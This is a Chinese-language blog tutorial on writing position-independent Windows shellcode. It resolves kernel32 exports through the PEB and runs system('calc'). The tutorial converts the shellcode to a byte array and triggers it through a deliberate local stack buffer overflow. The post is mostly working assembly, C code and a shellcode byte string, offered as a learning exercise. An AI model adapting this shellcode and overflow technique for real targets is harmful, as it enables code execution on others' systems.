美文网首页程序员信息安全
通用shellcode的编写、调用 实验缓冲区溢出攻击(非远程)

通用shellcode的编写、调用 实验缓冲区溢出攻击(非远程)

作者: 王梓舟 | 来源:发表于2016-05-22 14:07 被阅读571次

    上一章传送门:http://blog.csdn.net/u013582514/article/details/50094195

    在上一章中讲述了用vs2010进行简单的缓冲区溢出攻击,这一章将讲述如何编写shellcode并用缓冲区溢出攻击调用shellcode

    正文开始:

    win8.1,vs2010

    学过汇编的人一定了解,计算机会从内存中取得指令,而指令其实也都是一个个二进制数据,所以可以把代码(也就是指令)都转成十六进制数据放到数组里,之后运行它,这就是shellcode

    直接上代码:

    __asm

    {

    push ebp;

    mov esi, fs:0x30;            //PEB

    mov esi, [esi + 0x0C];  //+0x00c Ldr              : Ptr32 _PEB_LDR_DATA

    mov esi, [esi + 0x1C];  //+0x01c InInitializationOrderModuleList : _LIST_ENTRY

    next_module:

    mov ebp, [esi + 0x08];

    mov edi, [esi + 0x20];

    mov esi, [esi];

    cmp[edi + 12 * 2], 0x00;

    jne next_module;

    mov edi, ebp; //BaseAddr of Kernel32.dll

    //寻找GetProcAddress地址

    sub esp, 100;

    mov ebp, esp;

    mov eax, [edi + 3ch];//PE头

    mov edx, [edi + eax + 78h]

    add edx, edi;

    mov ecx, [edx + 18h];//函数数量

    mov ebx, [edx + 20h];

    add ebx, edi;

    search:

    dec ecx;

    mov esi, [ebx + ecx * 4];

    add esi, edi;

    mov eax, 0x50746547;

    cmp[esi], eax;

    jne search;

    mov eax, 0x41636f72;

    cmp[esi + 4], eax;

    jne search;

    mov ebx, [edx + 24h];

    add ebx, edi;

    mov cx, [ebx + ecx * 2];

    mov ebx, [edx + 1ch];

    add ebx, edi;

    mov eax, [ebx + ecx * 4];

    add eax, edi;

    mov[ebp + 76], eax;//eax为GetProcAddress地址

    //获取LoadLibrary地址

    push 0;

    push 0x41797261;

    push 0x7262694c;

    push 0x64616f4c;

    push esp

    push edi

    call[ebp + 76]

    mov[ebp + 80], eax;

    //获取ExitProcess地址

    push 0;

    push 0x737365;

    push 0x636f7250;

    push 0x74697845;

    push esp;

    push edi;

    call[ebp + 76];

    mov[ebp + 84], eax;

    ////////////////////////////////////////////我的代码开始

    //获取Sleep地址

    push 0x70;

    push 0x65656C53;

    push esp;

    push edi;

    call[ebp + 76];

    mov[ebp + 88], eax;

    //Sleep(10000)

    //push 0xFFFFFFFF;

    //call[ebp + 88];

    ///////////////////////////////////////////我的代码结束

    //加载msvcrt.dll  LoadLibrary("msvcrt")

    push 0;

    push 0x7472;

    push 0x6376736d;

    push esp;

    call[ebp + 80];

    mov edi, eax;

    //获取system地址

    push 0;

    push 0x6d65;

    push 0x74737973;

    push esp;

    push edi;

    call[ebp + 76];

    mov[ebp + 92], eax;

    //system("calc")

    push 0;

    push 0x636c6163;

    push esp;

    call[ebp + 92];

    //ExitProcess

    call[ebp + 84];

    }

    这是一部分汇编代码,创建一个.c文件,放到main函数里就可以运行了。它的效果是打开系统计算机,适配于winxp到win8系统。

    这部分代码是网上找的,如果看不懂的话,自己去多搜搜它的解释,这段代码还是挺火的。

    接下来把它转成十六进制数据:

    #include "windows.h"

    #include

    #pragma comment(linker,"/SECTION:.data,RWE")

    void test()

    {

    char buf[8];

    strcpy_s(buf, sizeof(shellcode), shellcode);

    }

    void test_shellcode()

    {

    ((void(*)())&shellcode)();

    /*__asm

    {

    lea eax, shellcode;

    jmp eax;

    }*/

    }

    unsigned char *asm_code()

    {

    __asm

    {

    lea eax, __code

    jmp __ret

    }

    //这里放shellcode的汇编代码

    __asm

    {

    __code:

    push ebp;

    mov esi, fs:0x30;            //PEB

    mov esi, [esi + 0x0C];  //+0x00c Ldr              : Ptr32 _PEB_LDR_DATA

    mov esi, [esi + 0x1C];  //+0x01c InInitializationOrderModuleList : _LIST_ENTRY

    next_module:

    mov ebp, [esi + 0x08];

    mov edi, [esi + 0x20];

    mov esi, [esi];

    cmp[edi + 12 * 2], 0x00;

    jne next_module;

    mov edi, ebp; //BaseAddr of Kernel32.dll

    //寻找GetProcAddress地址

    sub esp, 100;

    mov ebp, esp;

    mov eax, [edi + 3ch];//PE头

    mov edx, [edi + eax + 78h]

    add edx, edi;

    mov ecx, [edx + 18h];//函数数量

    mov ebx, [edx + 20h];

    add ebx, edi;

    search:

    dec ecx;

    mov esi, [ebx + ecx * 4];

    add esi, edi;

    mov eax, 0x50746547;

    cmp[esi], eax;

    jne search;

    mov eax, 0x41636f72;

    cmp[esi + 4], eax;

    jne search;

    mov ebx, [edx + 24h];

    add ebx, edi;

    mov cx, [ebx + ecx * 2];

    mov ebx, [edx + 1ch];

    add ebx, edi;

    mov eax, [ebx + ecx * 4];

    add eax, edi;

    mov[ebp + 76], eax;//eax为GetProcAddress地址

    //获取LoadLibrary地址

    push 0;

    push 0x41797261;

    push 0x7262694c;

    push 0x64616f4c;

    push esp

    push edi

    call[ebp + 76]

    mov[ebp + 80], eax;

    //获取ExitProcess地址

    push 0;

    push 0x737365;

    push 0x636f7250;

    push 0x74697845;

    push esp;

    push edi;

    call[ebp + 76];

    mov[ebp + 84], eax;

    ////////////////////////////////////////////我的代码开始

    //获取Sleep地址

    push 0x70;

    push 0x65656C53;

    push esp;

    push edi;

    call[ebp + 76];

    mov[ebp + 88], eax;

    //Sleep(10000)

    //push 0xFFFFFFFF;

    //call[ebp + 88];

    ///////////////////////////////////////////我的代码结束

    //加载msvcrt.dll  LoadLibrary("msvcrt")

    push 0;

    push 0x7472;

    push 0x6376736d;

    push esp;

    call[ebp + 80];

    mov edi, eax;

    //获取system地址

    push 0;

    push 0x6d65;

    push 0x74737973;

    push esp;

    push edi;

    call[ebp + 76];

    mov[ebp + 92], eax;

    //system("calc")

    push 0;

    push 0x636c6163;

    push esp;

    call[ebp + 92];

    //ExitProcess

    call[ebp + 84];

    }

    //函数结语

    __asm int 3

    __asm { __ret: }

    }

    int main()

    {

    unsigned char temp;

    int i = 1;

    unsigned char *asm_p = asm_code();

    FILE *fd = fopen("code.txt", "w");

    fprintf(fd, "unsigned char shellcode[] = \"");

    while ((temp = *asm_p) != 0xcc)

    {

    fprintf(fd, "\\x%.2x", temp);

    asm_p++;

    if (i % 8 == 0) fprintf(fd, "\"\n\"");

    i++;

    }

    fprintf(fd, "\";");

    fclose(fd);

    /*__asm

    {

    lea eax, shellcode;

    jmp eax;

    }*/

    //((void(*)())&shellcode)();

    return 0;

    }

    直接运行,之后打开项目所在文件夹,会发现一个code.text文件,打开里面会有已经准备好的unsigned char shellcode[]的初始化

    这是我转化后得到的shellcode代码

    unsigned char shellcode[] = "\x55\x64\x8b\x35\x30\x00\x00\x00"

    "\x8b\x76\x0c\x8b\x76\x1c\x8b\x6e"

    "\x08\x8b\x7e\x20\x8b\x36\x80\x7f"

    "\x18\x00\x75\xf2\x8b\xfd\x83\xec"

    "\x64\x8b\xec\x8b\x47\x3c\x8b\x54"

    "\x07\x78\x03\xd7\x8b\x4a\x18\x8b"

    "\x5a\x20\x03\xdf\x49\x8b\x34\x8b"

    "\x03\xf7\xb8\x47\x65\x74\x50\x39"

    "\x06\x75\xf1\xb8\x72\x6f\x63\x41"

    "\x39\x46\x04\x75\xe7\x8b\x5a\x24"

    "\x03\xdf\x66\x8b\x0c\x4b\x8b\x5a"

    "\x1c\x03\xdf\x8b\x04\x8b\x03\xc7"

    "\x89\x45\x4c\x6a\x00\x68\x61\x72"

    "\x79\x41\x68\x4c\x69\x62\x72\x68"

    "\x4c\x6f\x61\x64\x54\x57\xff\x55"

    "\x4c\x89\x45\x50\x6a\x00\x68\x65"

    "\x73\x73\x00\x68\x50\x72\x6f\x63"

    "\x68\x45\x78\x69\x74\x54\x57\xff"

    "\x55\x4c\x89\x45\x54\x6a\x70\x68"

    "\x53\x6c\x65\x65\x54\x57\xff\x55"

    "\x4c\x89\x45\x58\x6a\x00\x68\x72"

    "\x74\x00\x00\x68\x6d\x73\x76\x63"

    "\x54\xff\x55\x50\x8b\xf8\x6a\x00"

    "\x68\x65\x6d\x00\x00\x68\x73\x79"

    "\x73\x74\x54\x57\xff\x55\x4c\x89"

    "\x45\x5c\x6a\x00\x68\x63\x61\x6c"

    "\x63\x54\xff\x55\x5c\xff\x55\x54"

    "";

    把它放到全局变量里,之后修改main函数代码为

    __asm

    {

    lea eax,shellcode;

    call shellcode;

    }

    这样就可以调用了,运行后会成功看到系统计算机被打开。

    当然这是直接调用,并不是缓冲区溢出攻击得出来的效果,现在继续修改代码

    void fun(char *str)

    {

    char buffer[4];

    memcpy(buffer, str, 16);

    }

    int main()

    {

    char badStr[] = "000011112222333344445555";

    DWORD *pEIP = (DWORD*)&badStr[8];

    *pEIP = (DWORD)&shellcode[0];//拿到字符数组的第一个元素并获取它的地址

    fun(badStr);

    return 0;

    }

    这样就可以成功获得效果了。

    相关文章

      网友评论

        本文标题:通用shellcode的编写、调用 实验缓冲区溢出攻击(非远程)

        本文链接:https://www.haomeiwen.com/subject/ckworttx.html